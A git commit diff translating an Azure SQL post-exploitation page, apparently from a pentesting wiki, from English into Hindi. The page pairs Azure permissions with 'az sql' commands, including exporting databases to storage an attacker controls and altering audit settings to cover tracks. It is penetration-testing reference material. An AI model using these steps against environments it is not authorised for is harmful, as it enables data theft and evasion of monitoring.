Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:09:14 +00:00
parent 7770a50092
commit 388bdfdf0a
244 changed files with 7988 additions and 10827 deletions

View File

@@ -4,7 +4,7 @@
## SQL Database Post Exploitation
For more information about SQL Database check:
SQL Database के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-sql.md
@@ -12,8 +12,7 @@ For more information about SQL Database check:
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम करने के लिए।
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
@@ -21,73 +20,63 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम करने के लिए।
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
इस अनुमति के साथ, आप Azure SQL Server पर ऑडिटिंग सेटिंग्स को संशोधित या सक्षम कर सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को ऑडिट कॉन्फ़िगरेशन में हेरफेर करने की अनुमति दे सकता है, संभावित रूप से ट्रैक को कवर करने या ऑडिट लॉग को उनके नियंत्रण में किसी स्थान पर पुनर्निर्देशित करने की अनुमति दे सकता है। यह सुरक्षा निगरानी में बाधा डाल सकता है या इसे क्रियाओं को ट्रैक करने में सक्षम बना सकता है। नोट: Blob Storage का उपयोग करके Azure SQL Server के लिए ऑडिटिंग सक्षम करने के लिए, आपको एक स्टोरेज खाता संलग्न करना होगा जहाँ ऑडिट लॉग को सहेजा जा सके।
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
इस अनुमति के साथ, आप Azure SQL Server की कनेक्शन नीतियों को संशोधित कर सकते हैं। इस क्षमता का उपयोग सर्वर-स्तरीय कनेक्शन सेटिंग्स को सक्षम या बदलने के लिए किया जा सकता है।
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### "Microsoft.Sql/servers/databases/export/action"
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
इस अनुमति के साथ, आप Azure SQL Server से एक डेटाबेस को एक स्टोरेज अकाउंट में निर्यात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, वह डेटाबेस से संवेदनशील डेटा को एक ऐसी जगह पर निर्यात करके निकाल सकता है जिसे वह नियंत्रित करता है, जिससे डेटा लीक का महत्वपूर्ण जोखिम होता है। इसे करने के लिए स्टोरेज कुंजी जानना महत्वपूर्ण है।
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
```
### "Microsoft.Sql/servers/databases/import/action"
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
इस अनुमति के साथ, आप एक डेटाबेस को Azure SQL Server में आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए।
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
@@ -98,9 +87,4 @@ az sql db import --admin-user <admin-user> \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
```
{{#include ../../../banners/hacktricks-training.md}}